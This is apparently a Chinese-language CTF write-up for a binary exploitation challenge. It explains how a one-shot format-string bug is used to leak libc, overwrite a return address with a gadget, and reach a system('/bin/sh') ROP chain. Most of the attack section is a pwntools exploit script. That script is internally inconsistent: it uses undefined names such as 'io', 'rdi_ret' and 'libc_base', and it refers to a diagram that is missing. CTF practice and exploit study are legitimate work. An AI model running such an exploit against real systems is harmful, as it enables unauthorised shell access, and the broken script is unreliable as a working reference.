一道栈溢出题,需要掌握:格式化字符串漏洞,rop,对栈的理解。
漏洞:
一次机会的格式化字符串漏洞,输入长度限制在0x30
思路:
以一个常规栈溢出题的思路,如下。
1.获取libc_base
非常简单,找到libc_base的偏移即可,调试发现是第19个(字符串偏移为6)直接“%19$p”打印即可。那么system和sh当然也都出来了。
2.如何执行获取shell呢?
保护除了pie全开,而本题又给了栈地址,libc也出来了,那么想到的是利用字符串漏洞任意写篡改返回地址,main函数返回地址直接改为system(sh)的rop链的肯定不行,因为长度限制了0x30。
这里尝试篡改printf返回地址(第二个printf),将其改为pop3_ret的gadget,因为这个gadget和返回地址只差一字节比较好改。再让我们执行程序0x401205处给的read函数,后来再写入system(sh)到返回地址即可。
脚本:
from pwn import *
from LibcSearcher import *
#p=remote("47.96.229.249",7777)
p=process("./pwn")
context(os = "linux", arch = "amd64", log_level= "debug")
#context(os = "linux", arch = "i386", log_level= "debug")
#elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
p.recvuntil("There is a gift for you ")
buf_adr = int(p.recv(14), 16)
ret_adr = buf_adr-8
pop_ret = 0x00000000004012ce #hex(206)=0xce
read = 0x401205
payload = b"%206c%10$hhn%19$p"
payload = payload.ljust(0x18, b'\x00')
payload += p64(0x401205) + p64(ret_adr)
p.sendline(payload)
base = int(io.recv(14), 16) - libc.symbols["__libc_start_main"] - 243
payload = flat(
{
0x18 : p64(rdi_ret) + p64(libc_base + libc.search(b"/bin/sh").__next__()),
0x28 : p64(libc_base + 0x051CD2)
}
)
p.sendline(payload)
p.interactive()
这里给出了栈的图,方便读者理解脚本